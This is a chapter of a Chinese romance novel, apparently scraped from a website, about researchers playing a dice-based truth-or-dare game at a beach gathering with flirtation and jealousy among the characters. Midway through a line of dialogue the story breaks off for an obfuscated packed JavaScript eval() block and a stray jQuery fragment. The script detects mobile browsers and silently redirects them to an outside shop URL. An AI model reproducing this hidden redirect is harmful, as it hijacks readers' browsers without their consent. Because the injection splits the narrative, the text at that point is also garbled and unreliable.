此话一出,爱热闹的众人纷纷炸开锅。
“什么游戏?真心话大冒险?”
“这也太俗了!”
“你懂什么?这叫经典游戏,常玩常新,懂不懂?”
领头的那个站起身,将手机屏幕点亮,在空中挥了挥:“群里摇骰子,最大点数的人,问最小点数的人一个问题,答不上来的,做真心话大冒险,如何?”
这规则刺激了,既能“刁难”别人,也能听八卦。
一遇到这种游戏,大家头也不疼了,也不累了,个个振作精神,希望抛出最大的点数,吃到最香甜的瓜。
宋桥在心底默念一句“天灵灵地灵灵”,然后将骰子表情包丢出去——
骰子悬着转了半天,显示出个“6”。
“YES!”她心中暗喜,一拍桌子,“谁?谁是最小的?”
不远处,兰予安默默举起手。
这个发现,让宋桥双眼放光——真是踏破铁鞋无觅处,得来全不费功夫啊!
她摩挲着下巴,思考片刻,提问道:“请听题——请说出晓秋的三样忌口。”
现场“轰”一声炸开了锅,路晓秋脸像是熟透了的大虾,在桌子下面狠狠地掐了一把宋桥的大腿。
这死丫头,怎么下手没轻没重的?
宋桥“嗷呜”了一声,回敬她一个肘击。
“香菜、辣椒和芹菜。”兰予安流畅地报出三个菜名。
“OK,算兰老师过关。这么小的细节都知道,肯定是私下没少约饭……哎哟!”
宋桥话音未落,又被某位损友踩了一脚。
游戏进行一轮,众人逐渐玩得气氛火热,最惨的一人因为回答不上对方太奶奶的名字,被迫沿着沙滩一边跑一边学狗叫。
宋桥夹在他们中间,笑得简直快要喘不过气来,左手顺势搭在了旁边那人肩膀上。
气氛冷却下来后,她将头一抬,对上双幽深的眼睛。
“趁乱刷流氓?”看着自己肩膀上的手,程渡舟挑挑眉。
“自恋狂!”像是碰到了什么不干净的东西,宋桥一秒抽回手,还冲他凶巴巴挥拳头,“一会儿落在我手里,你就死定了!我会让你倒立绕沙滩一圈!”
“凭你啊?”程渡舟靠在椅子上,十分不屑地分她个眼神。
?
这样瞧不起人?
新的一轮开始,宋桥又开始在心里默念“天灵灵地灵灵”。
两秒后,她睁开眼睛,“腾”一声站起身,仰天大笑:“怎么说?某人现在跪地求饶,我还能饶你一命。”
因为起身过快,小腿肚撞在桌子边缘上,发出一声闷响。
但因为沉浸在喜悦之中,宋桥根本没把这当回事。
其他人也是头一回见宋桥如此失态,皆是有些呆住。
“谁中招了,宋老师那么高兴?”
“好像是程老师……”
他们对面,一直安安静静笑着看戏的陆简眸色更深。
她看看激动万分的宋桥,有将目光凝滞在一脸挑衅的程渡舟脸上。
“激动什么?申奥成功了?”程渡舟伸出腿,把她跟桌子之间推开一定距离,“你问吧。”
问他什么是一定答不出来的?
宋桥眼珠一转,清清嗓子开口:“提问!我现在心里想了一个人,你猜是谁?”
在场所有人都愣住了,望向程渡舟的眼神同情中又带着点幸灾乐祸。
这已经不是考问题了,是纯纯读心术啊!
宋桥抱着必胜的决心,得意洋洋又居高临下地看着身旁的人,静静等候他认输。
程渡舟抱着手臂,看她的眼神别有深意。
“看什么?实在不行你猜一个,或者求求我,给你个提示……”
“我。”
“啊?”
宋桥呆在原地,眼睛瞪得滚圆。
看着她震惊的表情,程渡舟缓慢又笃定地开口:“你心里在想的那个人,是我。”
剧情走向太奇怪,宋桥一时愣住了,周围的声音似乎被屏蔽掉,只剩下心底如擂的心跳声。
虽然她刚刚确实是在想着程渡舟没错,但她只是觉得,没有人会自恋到说自己的名字,所以绝对猜不中而已。
谁知道程渡舟就这么水灵灵说出来了……
而且为什么,他说“你在想我”这句话时,气氛会如此奇怪?
现场寂静了一秒,只剩下不远处海浪卷着沙滩,发出宁静而平和的“沙沙”声。
看着男人认真的表情,宋桥从牙缝里挤出三个字:“……不要脸。”
“所以说,我猜对了没有?”程渡舟毫无羞愧之意,大大咧咧往椅背上一靠,仰头看她。
宋桥嘴唇翕动,原本打算嘴硬,出声前,某人被一句话堵了回去。
“说谎的话,《七弦少女》糊穿地心,永不出版;你出门撞鬼,背后永远有人。”程渡舟一连串说完,对她的弱点简直是如数家珍。
……
宋桥觉得自己像是被逼上悬崖的藏羚羊,进退维谷。
片刻后,她咬着牙,做了决定。
“答对了。”这几个字,简直是从嗓子里抠出来的。
一瞬间,众人神态各异。
路晓秋嘴巴大张,手里的肉串“啪嗒”一声掉在盘子上;兰予安蟹腿都不吃了,像是被定在原地的木头人,双目无神。
最终是陆简打破了僵局。
“是不是该下一局了?”她笑着打圆场。
“哦哦,对。”发起者回过神来,在群里宣布,“继续继续!”
谁知非常不巧,这一局,恰好轮到了陆简拿到最小的数字。
提问的那一关没过去,她笑着叹气:“问研究所的知识?看来我只能选真心话了。”
“在场所有人里,有没有陆老板在意的人?”
这问题矛头就很明确了,大家跟陆简都是第一次见面,仅有的一位,就是悠哉悠哉坐在对面的那位“大爷”。
陆简倒是很平淡:“是哪种在意?”
“哪种都可以。”
“哦。”她眼神在某人身上停了片刻,顿了顿,“那有。”
“嘎嘣”一声,宋桥刚好咬断了嘴里的螃蟹壳。
坚硬的蟹壳卡在了牙缝里,不疼,只胀。
反观身旁那人,似乎并不把这句话放心上。
他手下不停,不紧不慢剥着螃蟹的壳,来一句:“陆老板心系天下,但凡是国计民生,都要在意一下。”
“这话说的……”
还有人想说什么,被陆简的眼神一碰,识趣地闭上嘴巴。
“一会儿吃完饭,咱们在海边放烟花吧?”有人将话题岔开。
“行啊。”这种浪漫的机会不常有,大部分人都举双手双脚赞成,“去哪儿买呢?”
“放心吧,我们民宿都有准备。”陆简站起身,“我去拿。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17845526|210174||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
程老师,你帮帮忙?”
“行。”
程渡舟果真擦擦手,起了身。
临走前,看一眼盘子里的蟹肉蟹黄,顺手塞到宋桥的面前。
宋桥咬着筷子,抬头看他。
“吃饱了。”他言简意赅,“别跟那个蟹壳死磕了,就算你的咬合力强,也别把牙当钳子使。当年我家狗就这样吃剩饭,狗牙崩掉两颗。”
宋桥:“……你就不能好好说话?”
程渡舟不回,转身走了,陆简在距他不远的地方等着。
看着两人并肩离去的背影,宋桥莫名其妙地又想起了他们说的话。
陆简跟程渡舟,两人是老朋友了。
这个小岛跟研究所距离隔得很远,要来这里,恐怕是要开上三四个小时的车。
对于他这种懒人,还真是奇迹。
宋桥出神地琢磨着,美食进了嘴,竟颇有些食不知味的感觉。
“桥桥,你别干吃啊,配点醋。”路晓秋递过来一碟米醋。
大概是南方的醋,入口齁酸。
“太酸了,我还是不吃醋了。”宋桥后怕地将碟子推远。
想了想,突然灵光乍现:“一会儿放烟花,你跟兰予安在哪儿看?”
“还能在哪儿看?跟大家一起啊。”路晓秋莫名其妙。
“那怎么可以?”宋桥狠狠地拍她肩膀,“这么浪漫的日子,烟花照亮海平面,当然要两人独享!”
她将手机屏幕转过去,地图上,不远处有一片小树林:“这里人少,视野也开阔,一会儿你们就去这里的海边看。”
“安全吗?”路晓秋怀疑地打量。
“放心,这一片是旅游区,都有信号。等烟花差不多结束,我就去找你。”
正说着,烟花搬来了,宋桥冲她使个眼色。
程渡舟在陆简的指挥下,将烟花摆放在沙滩上,放成一排。
两个人合作起来,十分默契,像是一种刻在基因里的一致。
宋桥默默站在人群后面,远远地看着。
再转头,路晓秋和兰予安只剩下两个小小的背影,在朝着人少的地方走去。
在原地站了片刻,听到有人吆喝着,说打火机找不见了。
“这玩意儿从哪儿弄?关键咱们研究所也没人抽烟啊?”
“得去买吧……程老师对这附近的便利店熟悉不?”
奇怪的别扭感在心头,后退两步,宋桥朝着另一个人少的方向走去。
目的地是一家倒闭了的民宿,她来时候看到的,人走空了,门前的观光秋千却还立着。
大概是游客常常在这里休息的缘故,并没有太多的灰尘,宋桥拍了拍,坐上去,享受着一个人的时刻。
她掏出手机,给ling发消息,说路晓秋跟兰予安独自去看烟花的消息。
许久,也无人回复。
也对。
她收了手机,看着远处平静的大海。
这时候,应该还在想办法点烟花吧。
她将下巴埋在膝盖里,静静地等着第一簇烟花在夜空炸响。
等了半天,没等到烟花,寂静的夜色之中,只有海浪还在翻涌。
不远处,似乎有人靠近,脚步踩在沙滩上,发出“咯吱咯吱”的声响。
恰好一阵风吹过,宋桥缩了缩脖子,便听到头顶传来个熟悉的声音。
“躲这么远,今天倒是不怕被鬼抓走了?”